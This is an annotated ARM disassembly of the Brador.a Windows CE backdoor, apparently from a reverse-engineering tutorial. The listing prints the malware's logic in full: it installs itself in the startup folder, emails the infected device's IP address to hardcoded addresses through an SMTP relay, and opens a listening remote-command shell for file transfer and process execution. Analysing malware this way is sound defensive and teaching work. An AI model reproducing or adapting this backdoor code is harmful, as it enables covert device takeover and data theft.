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The Annotated Disassembly

We opened the binary in IDA Pro. The following is the IDA disassembly, along with our detailed, annotated comments in the assembly code. We've posted the entire IDA disassembly here. But instead of simply publishing a tedious file dump just to make our article look longer, we've painstakingly commented the important parts of the assembly language code. Even if you're not yet an expert in assembler, we hope that you'll at least read through this exercise. To get the most value out of this tutorial, you should first read the assembler code on the left. Cover the comments with a note card and try to unravel by yourself what's happening. Then read the comments on the right to see how you did.

.text:00011000 ;
.text:00011000 ; File Name  : C:\!_infis\brador_a.exe
.text:00011000 ; Format   : Portable executable for ARM (PE)
.text:00011000 ; Section 1. (virtual address 00001000)
.text:00011000 ; Virtual size         : 00000CC0 (  3264.)
.text:00011000 ; Section size in file     : 00000E00 (  3584.)
.text:00011000 ; Offset to raw data for section: 00000400
.text:00011000 ; Flags E0000020: Text Executable Readable Writable
.text:00011000 ; Alignment   : 16 bytes ?
.text:00011000
.text:00011000 ; Processor    : ARM
.text:00011000 ; Target assembler: Generic assembler for ARM
.text:00011000 ; Byte sex    : Little endian
.text:00011000
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.text:00011000
.text:00011000         AREA .text, CODE, READWRITE, ALIGN=4
.text:00011000         ; ORG 0x11000
.text:00011000         CODE32
.text:00011000
.text:00011000 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011000
.text:00011000
.text:00011000         EXPORT start
.text:00011000 start                  ; DATA XREF: .text:00011A74o
.text:00011000         LDR   R0, =aWindowsStartup ; placing in startup folder allows us
.text:00011000                     ; to run on next reboot
.text:00011004         MOV   R1, #0x40000000
.text:00011008         EOR   R2, R2, R2
.text:0001100C         EOR   R3, R3, R3
.text:00011010         MOV   R4, #1     ; create new, if the file does exist, the function fails
.text:00011010                     ; (i.e., if we're already installed, skip installation)
.text:00011014         STR   R4, [SP]
.text:00011018         MOV   R4, #0x80    ; now try to open/create the file in startup folder
.text:0001101C         STR   R4, [SP,#4]
.text:00011020         STR   R3, [SP,#8]
.text:00011024         BL   CreateFileW
.text:00011028         MVN   R1, #0
.text:0001102C         CMP   R0, R1
.text:00011030         BEQ   skip_install  ; invalid handle?
.text:00011034 this is pc relative and ida can't handle this - it shows
.text:00011034 like everything pc related as it would load a value there
.text:00011034 (it is normally in DATA section)
.text:00011034         STR   R0, =0x2F72F922 ; store the handle
.text:00011038         MOV   R8, #4     ; four iterations
.text:0001103C         LDR   R7, =bytes_count
.text:00011040         EOR   R6, R6, R6   ; null r6
.text:00011044         LDR   R1, =start_of_pe_file ; first we write the header
.text:00011044                     ; and then we iterate through the three sections that
.text:00011044                     ; are loaded in memory and write them
.text:00011048
.text:00011048 iterate_sections            ; CODE XREF: start+70j
.text:00011048         LDR   R0, =0x2F72F922 ; get handle
.text:0001104C         LDRH  R2, [R7],#2   ; read how many bytes to write
.text:00011050         LDR   R3, =number_of_bytes_written
.text:00011054         EOR   R4, R4, R4   ; null r4
.text:00011058         STR   R4, [SP]    ; we don't use overlapping
.text:0001105C         BL   WriteFile
.text:00011060         LDR   R1, =start   ; start from the code section
.text:00011064         ADD   R1, R1, R6   ; add offset
.text:00011068         ADD   R6, R6, #0x1000 ; add whole section (use section alignment)
.text:0001106C         SUBS  R8, R8, #1   ; we do four iterations as we have three sections and header
.text:00011070         BNE   iterate_sections
.text:00011074         LDR   R0, =0x2F72F922 ; now close the handle
.text:00011078         BL   CloseHandle
.text:0001107C now on next reboot our file gets run
.text:0001107C
.text:0001107C skip_install              ; CODE XREF: start+30j
.text:0001107C         LDR   R0, =0x310031  ; 1.1
.text:00011080         LDR   R1, =start_of_pe_file ; we don't need it, use it as buffer
.text:00011084         BL   WSAStartup   ; set up sockets
.text:00011088         MOV   R0, #2     ; pf_inet
.text:0001108C         MOV   R1, #1     ; SOCK_STREAM
.text:00011090         EOR   R2, R2, R2   ; null r2
.text:00011094         BL   socket
.text:00011098         STR   R0, =0     ; store it to buffer
.text:0001109C         LDR   R1, =0x8004667E ; this is imho FIONBIO
.text:0001109C                     ;
.text:000110A0         LDR   R2, =number_of_bytes_written
.text:000110A4         BL   ioctlsocket
.text:000110A8         LDR   R0, =0     ; get the socket handle
.text:000110AC         LDR   R1, =sockaddr  ; bind to port 2989 (0xbad) to ADDR_ANY
.text:000110B0         MOV   R2, #0x10
.text:000110B4         BL   bind
.text:000110B8
.text:000110B8 loc_0_110B8               ; CODE XREF: start+D4j
.text:000110B8         LDR   R0, =0
.text:000110BC         LDR   R1, =sockaddr_smtp ; connect to 194.67.23.111 on port 25
.text:000110BC                     ; some SMTP relay I bet
.text:000110C0         MOV   R2, #0x10
.text:000110C4         BL   connect
.text:000110C8         LDR   R6, =select_timeout
.text:000110CC         BL   select_write
.text:000110D0         TST   R0, R0     ; are we ready to write?
.text:000110D4         BEQ   loc_0_110B8
.text:000110D8         LDR   R0, =hostname
.text:000110DC         MOV   R1, #0x10
.text:000110E0         BL   gethostname
.text:000110E4         LDR   R0, =hostname
.text:000110E8         BL   gethostbyname  ; ok, get local hostent
.text:000110EC         LDR   R0, [R0,#0xC]  ; gimme adr_list pointer
.text:000110F0         LDR   R0, [R0]    ; gimme first_addr ptr
.text:000110F4         LDR   R0, [R0]    ; gimme first addr
.text:000110F8         STR   R0, =0
.text:000110FC         BL   inet_ntoa    ; ok, gimme ipv4 string
.text:00011100         LDR   R2, =ip_address_with_cr_lf
.text:00011104
.text:00011104 loc_0_11104               ; CODE XREF: start+110j
.text:00011104         LDRB  R1, [R0],#1   ; copy the local IP in dotted format to send buffer
.text:00011108         STRB  R1, [R2],#1
.text:0001110C         TST   R1, R1     ; end?
.text:00011110         BNE   loc_0_11104
.text:00011114 now we'll send email to the author that we have
.text:00011114 backdoored pda and soon we'll listen on bound port
.text:00011114 (2989)
.text:00011114         LDR   R1, =aHeloVictim ; send hello to SMTP server
.text:00011118         MOV   R2, #0xD
.text:0001111C         BL   send_data_over_socket
.text:00011120         LDR   R1, =aMailFromBr@mail_ru ; mail from
.text:00011124         MOV   R2, #0x16
.text:00011128         BL   send_data_over_socket
.text:0001112C         LDR   R1, =aRcptToBrokensword@ukr_ ; this might be interesting in hunting down the author
.text:00011130         MOV   R2, #0x1D
.text:00011134         BL   send_data_over_socket
.text:00011138         LDR   R1, =aData   ; start of data
.text:0001113C         MOV   R2, #6
.text:00011140         BL   send_data_over_socket
.text:00011144         LDR   R1, =ip_address_with_cr_lf
.text:00011148         MOV   R2, #0x15    ; now send the IP address
.text:0001114C         BL   send_data_over_socket
.text:00011150         LDR   R1, =aQuit
.text:00011154         MOV   R2, #6     ; and quit
.text:00011158         BL   send_data_over_socket
.text:0001115C         LDR   R0, =0
.text:00011160         BL   closesocket   ; close socket
.text:00011164         MOV   R0, #2     ; create the socket once more
.text:00011168         MOV   R1, #1
.text:0001116C         EOR   R2, R2, R2
.text:00011170         BL   socket
.text:00011174         STR   R0, =0     ; again bind to local, port 2989
.text:00011178         LDR   R1, =sockaddr
.text:0001117C         MOV   R2, #0x10
.text:00011180         BL   bind
.text:00011184
.text:00011184 loc_0_11184               ; CODE XREF: start+1F0j
.text:00011184         LDR   R0, =0     ; but now we'll finally listen on it
.text:00011188         MOV   R1, #5     ; max 5 pending connections
.text:0001118C         BL   listen
.text:00011190         LDR   R0, =0
.text:00011194         EOR   R1, R1, R1   ; null r1 and r2
.text:00011198         EOR   R2, R2, R2
.text:0001119C         BL   accept     ; accept incoming connections
.text:000111A0         STR   R0, =0     ; hmm, we have client, send him greeting
.text:000111A4         LDR   R1, =aConnectionEstablish
.text:000111A8         MOV   R2, #0x17
.text:000111AC         EOR   R3, R3, R3
.text:000111B0         BL   send
.text:000111B4         LDR   R0, =0     ; again, FIONBIO
.text:000111B8         LDR   R1, =0x8004667E
.text:000111BC         LDR   R2, =dword_0_11980
.text:000111C0         BL   ioctlsocket
.text:000111C4
.text:000111C4 get_next_command            ; CODE XREF: .text:000112B4j
.text:000111C4                     ; .text:000112E4j ...
.text:000111C4         LDR   R6, =select_timeout_
.text:000111C8         BL   select_read
.text:000111CC         TST   R0, R0     ; do we have some command on the way?
.text:000111D0         BGT   weve_got_data
.text:000111D4
.text:000111D4 close_session              ; DATA XREF: .text:00011A70o
.text:000111D4         LDR   R0, =0     ; some error, send connection close
.text:000111D8         LDR   R1, =aConnectionClose
.text:000111DC         MOV   R2, #0x12
.text:000111E0         EOR   R3, R3, R3
.text:000111E4         BL   send
.text:000111E8         LDR   R0, =0     ; close the socket
.text:000111EC         BL   closesocket
.text:000111F0         B    loc_0_11184   ; and listen again
.text:000111F4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:000111F4
.text:000111F4 weve_got_data              ; CODE XREF: start+1D0j
.text:000111F4         LDR   R0, =0
.text:000111F8         LDR   R1, =start_of_pe_file
.text:000111FC         MOV   R2, #0x400
.text:00011200         EOR   R3, R3, R3   ; read the data we've got!
.text:00011204         BL   recv
.text:00011208         LDRB  R0, =0x905A4D  ; read one (command) byte from incoming data
.text:0001120C         LDR   R1, =commandz  ; compare against available commandz
.text:00011210
.text:00011210 loc_0_11210               ; CODE XREF: start+218j
.text:00011210         LDRB  R2, [R1],#1   ; read command
.text:00011214         CMP   R0, R2     ; compare
.text:00011214                     ; (this could end in loop if client not ours)
.text:00011218         BNE   loc_0_11210
.text:0001121C         LDR   R0, =commandz_plus_1 ; ok, we've got one, even if the first one was hit, we have
.text:0001121C                     ; now r1 pointing to commandz + 1 (and we need null if the first one
.text:0001121C                     ; was a hit, that's why we cannot substract commandz, but
.text:0001121C                     ; commandz + 1)
.text:00011220         SUB   R1, R1, R0   ; ok, get displacement
.text:00011224         LDR   R3, =commandz_offsets
.text:00011228         LDR   PC, [R3,R1,LSL#2] ; jump to appropriate command
.text:00011228 ; End of function start
.text:00011228
.text:0001122C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001122C
.text:0001122C dir                   ; DATA XREF: .text:00011A5Co
.text:0001122C         LDR   R0, =packet_payload
.text:00011230         LDR   R1, =process_information
.text:00011234         BL   FindFirstFileW ; find according to mask in data from client
.text:00011238         TST   R0, R0
.text:0001123C         BEQ   send_eol    ; nothing matched?
.text:00011240         STR   R0, =0
.text:00011244
.text:00011244 iterate_next_file            ; CODE XREF: .text:00011298j
.text:00011244         LDR   R3, =dword_0_11744 ; goto win32_find_data.cFileName
.text:00011248         LDR   R4, =start_of_pe_file
.text:0001124C
.text:0001124C iterate_copy              ; CODE XREF: .text:0001125Cj
.text:0001124C                     ; .text:00011268j
.text:0001124C         LDRB  R2, [R3],#1   ; copy it to the start of the buffer
.text:0001124C                     ; until the end is reached
.text:00011250         TST   R2, R2
.text:00011254         BEQ   loc_0_11260
.text:00011258         STRB  R2, [R4],#1
.text:0001125C         B    iterate_copy
.text:00011260 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011260
.text:00011260 loc_0_11260               ; CODE XREF: .text:00011254j
.text:00011260         LDRB  R2, [R3]
.text:00011264         TST   R2, R2     ; do we have two nulls? if not go on
.text:00011268         BNE   iterate_copy
.text:0001126C         MOV   R0, #0
.text:00011270         STRB  R0, [R4]
.text:00011274         LDR   R0, =0
.text:00011278         LDR   R1, =start_of_pe_file
.text:0001127C         SUB   R2, R4, R1   ; count the size of the filename to send
.text:0001127C                     ; (the buffer pointer - start of the buffer)
.text:00011280         EOR   R3, R3, R3
.text:00011284         BL   send      ; ok, send the filename
.text:00011288         LDR   R0, =0
.text:0001128C         LDR   R1, =process_information
.text:00011290         BL   FindNextFileW  ; now go on with next file
.text:00011294         TST   R0, R0     ; was there any?
.text:00011298         BNE   iterate_next_file ; goto win32_find_data.cFileName
.text:0001129C
.text:0001129C send_eol                ; CODE XREF: .text:0001123Cj
.text:0001129C         EOR   R3, R3, R3   ; null r3
.text:000112A0         STR   R3, =0x905A4D  ; store it to buffer
.text:000112A4         LDR   R0, =0     ; send end of listing over the wire to the client
.text:000112A8         LDR   R1, =start_of_pe_file
.text:000112AC         MOV   R2, #4
.text:000112B0         BL   send
.text:000112B4         B    get_next_command
.text:000112B8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:000112B8 this file uploads file from server to client
.text:000112B8
.text:000112B8 upload_file               ; DATA XREF: .text:00011A60o
.text:000112B8         LDR   R0, =packet_payload
.text:000112BC         MOV   R1, #0x80000000
.text:000112C0         EOR   R2, R2, R2
.text:000112C4         EOR   R3, R3, R3   ; ok, open the file given in data read from client
.text:000112C8         MOV   R4, #3
.text:000112CC         STR   R4, [SP]
.text:000112D0         MOV   R4, #0x80
.text:000112D4         STR   R4, [SP,#4]
.text:000112D8         STR   R3, [SP,#8]
.text:000112DC         BL   CreateFileW
.text:000112E0         TST   R0, R0     ; success?
.text:000112E4         BEQ   get_next_command
.text:000112E8         STR   R0, =0x2F72F922 ; store the handle
.text:000112EC         EOR   R1, R1, R1   ; get the file size of the file
.text:000112F0         BL   GetFileSize
.text:000112F4         STR   R0, =0x905A4D
.text:000112F8         LDR   R0, =0     ; send the filesize first
.text:000112FC         LDR   R1, =start_of_pe_file
.text:00011300         MOV   R2, #4
.text:00011304         EOR   R3, R3, R3
.text:00011308         BL   send
.text:0001130C
.text:0001130C iterate_read              ; CODE XREF: .text:00011344j
.text:0001130C         LDR   R0, =0x2F72F922
.text:00011310         LDR   R1, =start_of_pe_file
.text:00011314         MOV   R2, #0x400   ; read one chunk to buffer from file
.text:00011318         LDR   R3, =read_writefds
.text:0001131C         EOR   R4, R4, R4
.text:00011320         STR   R4, [SP]
.text:00011324         BL   ReadFile
.text:00011328         LDR   R2, =1     ; the read was successful?
.text:0001132C         TST   R2, R2
.text:00011330         BEQ   end_reading
.text:00011334         LDR   R0, =0     ; send the read chunk over the wire
.text:00011338         LDR   R1, =start_of_pe_file
.text:0001133C         EOR   R3, R3, R3
.text:00011340         BL   send
.text:00011344         B    iterate_read
.text:00011348 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011348
.text:00011348 end_reading               ; CODE XREF: .text:00011330j
.text:00011348         LDR   R0, =0x2F72F922 ; close the handle
.text:0001134C         BL   CloseHandle
.text:00011350         B    get_next_command
.text:00011354 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011354 this function uploads file from client to server
.text:00011354
.text:00011354 download_file              ; DATA XREF: .text:00011A68o
.text:00011354         LDR   R0, =packet_payload
.text:00011358         MOV   R1, #0x40000000
.text:0001135C         EOR   R2, R2, R2
.text:00011360         EOR   R3, R3, R3
.text:00011364         MOV   R4, #2     ; try to create the file according to filename
.text:00011364                     ; given from client
.text:00011368         STR   R4, [SP]
.text:0001136C         MOV   R4, #0x80
.text:00011370         STR   R4, [SP,#4]
.text:00011374         STR   R3, [SP,#8]
.text:00011378         BL   CreateFileW
.text:0001137C         TST   R0, R0     ; success?
.text:00011380         BEQ   get_next_command
.text:00011384         STR   R0, =0x2F72F922 ; store the handle
.text:00011388         BL   send_ok_back
.text:0001138C         LDR   R6, =timeout_file_dl
.text:00011390         BL   select_read   ; wait for incoming file data
.text:00011394         LDR   R0, =0
.text:00011398         LDR   R1, =start_of_pe_file
.text:0001139C         MOV   R2, #0x400
.text:000113A0         EOR   R3, R3, R3   ; now read the filesize
.text:000113A4         BL   recv
.text:000113A8         LDR   R7, =0x905A4D  ; get it
.text:000113AC         MOV   R7, R7,LSR#10  ; count it in 0x400 bytes chunks
.text:000113B0         ADD   R7, R7, #1   ; plus one - the last one that could get lost in shifting
.text:000113B4
.text:000113B4 iterate_chunks             ; CODE XREF: .text:000113F8j
.text:000113B4         LDR   R6, =timeout_file_dl
.text:000113B8         BL   select_read   ; wait for next chunk
.text:000113BC         TST   R0, R0
.text:000113C0         BEQ   end_download  ; any yet?
.text:000113C4         LDR   R0, =0
.text:000113C8         LDR   R1, =start_of_pe_file
.text:000113CC         MOV   R2, #0x400   ; ok, read chunk
.text:000113D0         EOR   R3, R3, R3
.text:000113D4         BL   recv
.text:000113D8         MOV   R2, R0
.text:000113DC         LDR   R0, =0x2F72F922
.text:000113E0         LDR   R1, =start_of_pe_file
.text:000113E4         LDR   R3, =read_writefds
.text:000113E8         EOR   R4, R4, R4   ; write it to the file
.text:000113EC         STR   R4, [SP]
.text:000113F0         BL   WriteFile
.text:000113F4         SUBS  R7, R7, #1   ; substract one chunk
.text:000113F8         BNE   iterate_chunks ; iterate until the end
.text:000113FC         BL   send_ok_back
.text:00011400
.text:00011400 end_download              ; CODE XREF: .text:000113C0j
.text:00011400         LDR   R0, =0x2F72F922 ; close the handle
.text:00011404         BL   CloseHandle   ; and go on
.text:00011408         B    get_next_command
.text:0001140C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001140C
.text:0001140C message_box               ; DATA XREF: .text:00011A6Co
.text:0001140C         EOR   R0, R0, R0   ; null r0
.text:00011410         LDR   R1, =packet_payload ; display messagebox
.text:00011414         LDR   R2, =aHi    ; give it appropriate caption
.text:00011418         MOV   R3, #0
.text:0001141C         BL   MessageBoxW
.text:00011420         BL   send_ok_back
.text:00011424         B    get_next_command
.text:00011428 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011428
.text:00011428 execute                 ; DATA XREF: .text:00011A64o
.text:00011428         LDR   R0, =packet_payload
.text:0001142C         EOR   R1, R1, R1
.text:00011430         EOR   R2, R2, R2
.text:00011434         EOR   R3, R3, R3
.text:00011438         MVN   R4, #0
.text:0001143C         STR   R4, [SP]
.text:00011440         MOV   R4, #0x10
.text:00011444         STR   R4, [SP,#4]   ; ok, create process according to info
.text:00011444                     ; sent from the client
.text:00011448         STR   R3, [SP,#8]
.text:0001144C         STR   R3, [SP,#0xC]
.text:00011450         STR   R3, [SP,#0x10]
.text:00011454         LDR   R4, =process_information
.text:00011458         STR   R4, [SP,#0x14]
.text:0001145C         BL   CreateProcessW
.text:00011460         TST   R0, R0
.text:00011464         BEQ   loc_0_1146C   ; all's ok?
.text:00011468         BL   send_ok_back
.text:0001146C
.text:0001146C loc_0_1146C               ; CODE XREF: .text:00011464j
.text:0001146C         B    get_next_command
.text:00011470 in: r1 - data
.text:00011470   r2 - size
.text:00011470
.text:00011470 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011470
.text:00011470
.text:00011470 send_data_over_socket          ; CODE XREF: start+11Cp
.text:00011470                     ; start+128p ...
.text:00011470         MOV   R7, LR
.text:00011474         LDR   R0, =0     ; get the socket
.text:00011478         EOR   R3, R3, R3   ; null r3
.text:0001147C         BL   send      ; send it
.text:00011480         LDR   R6, =timeout_file_dl
.text:00011484         BL   select_read
.text:00011488         LDR   R0, =0     ; get socket
.text:0001148C         LDR   R1, =start_of_pe_file ; read to our tmp_buffer
.text:00011490         MOV   R2, #0x400
.text:00011494         EOR   R3, R3, R3
.text:00011498         BL   recv      ; it's in FIONBIO, it won't block, just return what it does have
.text:0001149C         MOV   PC, R7
.text:0001149C ; End of function send_data_over_socket
.text:0001149C
.text:000114A0 in: r6 - timeout pointer
.text:000114A0
.text:000114A0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:000114A0
.text:000114A0
.text:000114A0 select_read               ; CODE XREF: start+1C8p
.text:000114A0                     ; .text:00011390p ...
.text:000114A0         MOV   R5, LR
.text:000114A4         LDR   R0, =read_writefds
.text:000114A8         MOV   R1, #1     ; the same as by select_write
.text:000114AC         STR   R1, [R0]
.text:000114B0         EOR   R0, R0, R0
.text:000114B4         LDR   R1, =read_writefds
.text:000114B8         EOR   R2, R2, R2
.text:000114BC         EOR   R3, R3, R3
.text:000114C0         MOV   R4, R6
.text:000114C4         STR   R4, [SP]
.text:000114C8         BL   select
.text:000114CC         MOV   PC, R5
.text:000114CC ; End of function select_read
.text:000114CC
.text:000114D0 in: r6 - timeout pointer
.text:000114D0
.text:000114D0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:000114D0
.text:000114D0
.text:000114D0 select_write              ; CODE XREF: start+CCp
.text:000114D0         MOV   R5, LR
.text:000114D4         LDR   R0, =read_writefds
.text:000114D8         MOV   R1, #1     ; store one fd
.text:000114DC         STR   R1, [R0]
.text:000114E0         EOR   R0, R0, R0   ; null ndfs (ignored)
.text:000114E4         EOR   R1, R1, R1   ; null readfds
.text:000114E8         LDR   R2, =read_writefds
.text:000114EC         EOR   R3, R3, R3   ; null exceptfds
.text:000114F0         MOV   R4, R6
.text:000114F4         STR   R4, [SP]    ; store timeout
.text:000114F8         BL   select
.text:000114FC         MOV   PC, R5
.text:000114FC ; End of function select_write
.text:000114FC
.text:00011500
.text:00011500 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011500
.text:00011500
.text:00011500 send_ok_back              ; CODE XREF: .text:00011388p
.text:00011500                     ; .text:000113FCp ...
.text:00011500         MOV   R5, LR
.text:00011504         LDR   R0, =0     ; send OK back to the client
.text:00011508         LDR   R1, =aOk
.text:0001150C         MOV   R2, #3
.text:00011510         EOR   R3, R3, R3
.text:00011514         BL   send
.text:00011518         MOV   PC, R5
.text:00011518 ; End of function send_ok_back
.text:00011518
.text:00011518 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:0001151C start_of_pe_file DCD 0x905A4D      ; DATA XREF: start+208r
.text:0001151C                     ; .text:000112A0w ...
.text:00011520 first dword is the command, after first dword
.text:00011520 there are arbitrary data according to command
.text:00011520
.text:00011520 first there are the headers to be written to disk, but
.text:00011520 it is needed only while initializing
.text:00011520 packet_payload DCD 3, 4, 0xFFFF, 0xB8, 0, 0x40, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011520                     ; DATA XREF: .text:00011AD4o
.text:00011520         DCD 0xC0, 0xEBA1F0E, 0xCD09B400, 0x4C01B821, 0x685421CD
.text:00011520         DCD 0x70207369, 0x72676F72, 0x63206D61, 0x6F6E6E61, 0x65622074
.text:00011520         DCD 0x6E757220, 0x206E6920, 0x20534F44, 0x65646F6D, 0xA0D0D2E
.text:00011520         DCD 0x24, 0, 0xC7722FEF, 0x941C4EAB, 0x941C4EAB, 0x941C4EAB
.text:00011520         DCD 0x944546BB, 0x941C4EAE, 0x941D4EAB, 0x941C4EBC, 0x941C4EAB
.text:00011520         DCD 0x941C4EAA, 0x944A42AE, 0x941C4EAA, 0x68636952, 0x941C4EAB
.text:00011520         DCD 0, 0, 0x4550, 0x301C0, 0x4110EE5F, 0, 0, 0x10F00E0
.text:00011520         DCD 0x1806010B, 0xE00, 0x400, 0, 0x1000, 0x1000, 0x2000
.text:00011520         DCD 0x10000, 0x1000, 0x200, 4, 0, 2, 0, 0x4000, 0x400
.text:00011520         DCD 0, 9, 0x100000, 0x1000, 0x100000, 0x1000, 0, 0x10
.text:00011520         DCD 0, 0, 0x201C, 0x3C, 0, 0, 0, 0, 0, 0, 0, 0, 0x2000
.text:00011520         DCD 0x1C, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x3000, 0x64, 0
.text:00011520         DCD 0, 0, 0, 0, 0, 0x7865742E, 0x74, 0xCC0, 0x1000, 0xE00
.text:00011520         DCD 0x400, 0, 0, 0, 0xE0000020, 0x6164722E, 0x6174, 0x195
.text:00011520         DCD 0x2000, 0x200, 0x1200, 0, 0
.text:0001171C process_information DCD 0, 0x40000040, 0x7461642E, 0x61, 0x64, 0x3000, 0x200
.text:0001171C                     ; DATA XREF: .text:00011AD8o
.text:0001171C         DCD 0x1400, 0, 0
.text:00011744 dword_0_11744  DCD 0, 0xC0000040, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744                     ; DATA XREF: .text:00011ADCo
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011744         DCD 0, 0
.text:0001191C first there is header size, then code section size (file alignment aligned) and other two section's sizes
.text:0001191C bytes_count   DCD 0xE000400, 0x2000200 ; DATA XREF: .text:00011A84o
.text:00011924 handle     DCD 0x2F72F922     ; DATA XREF: start+34w
.text:00011924                     ; start+48r ...
.text:00011928 dword_0_11928  DCD 0          ; DATA XREF: .text:00011240w
.text:00011928                     ; .text:00011288r
.text:0001192C aWindowsStartup unicode 0, <\Windows\StartUp\svchost.exe>,0
.text:0001192C                     ; DATA XREF: .text:00011A80o
.text:00011966         DCB 0, 0
.text:00011968 hostname    DCD 0, 0, 0, 0     ; DATA XREF: .text:00011A9Co
.text:00011978 read_writefds  DCD 1          ; DATA XREF: .text:00011328r
.text:00011978                     ; .text:00011AE0o
.text:0001197C number_of_bytes_written DCD 0      ; DATA XREF: start+98w
.text:0001197C                     ; start+A8r ...
.text:00011980 dword_0_11980  DCD 0          ; DATA XREF: start+1A0w
.text:00011980                     ; start+1B4r ...
.text:00011984 sockaddr_smtp  DCD 0x19000002, 0x6F1743C2, 0, 0 ; DATA XREF: .text:00011A94o
.text:00011994 sockaddr    DCD 0xAD0B0002     ; DATA XREF: .text:00011A90o
.text:00011998 dword_0_11998  DCD 0          ; DATA XREF: start+F8w
.text:0001199C         DCD 0, 0
.text:000119A4 select_timeout DCD 0xE10, 0      ; DATA XREF: .text:00011A98o
.text:000119AC select_timeout_ DCD 0x258, 0      ; DATA XREF: .text:00011AC0o
.text:000119B4 timeout_file_dl DCD 0x3C, 0       ; DATA XREF: .text:00011AE4o
.text:000119BC ip_address_with_cr_lf DCD 0, 0, 0, 0, 0xD2E0A0D ; DATA XREF: .text:00011AA0o
.text:000119D0         DCB 0xA
.text:000119D1 aHeloVictim   DCB "HELO victim",0xD  ; DATA XREF: .text:00011AA4o
.text:000119DD         DCB 0xA
.text:000119DE aMailFromBr@mail_ru DCB "MAIL FROM:br@mail.ru" ; DATA XREF: .text:00011AA8o
.text:000119F2         DCB 0xD, 0xA
.text:000119F4 aRcptToBrokensword@ukr_ DCB "RCPT TO:brokensword@ukr.net",0xD
.text:000119F4                     ; DATA XREF: .text:00011AACo
.text:00011A10         DCB 0xA
.text:00011A11 aData      DCB "DATA"       ; DATA XREF: .text:00011AB0o
.text:00011A15         DCB 0xD, 0xA
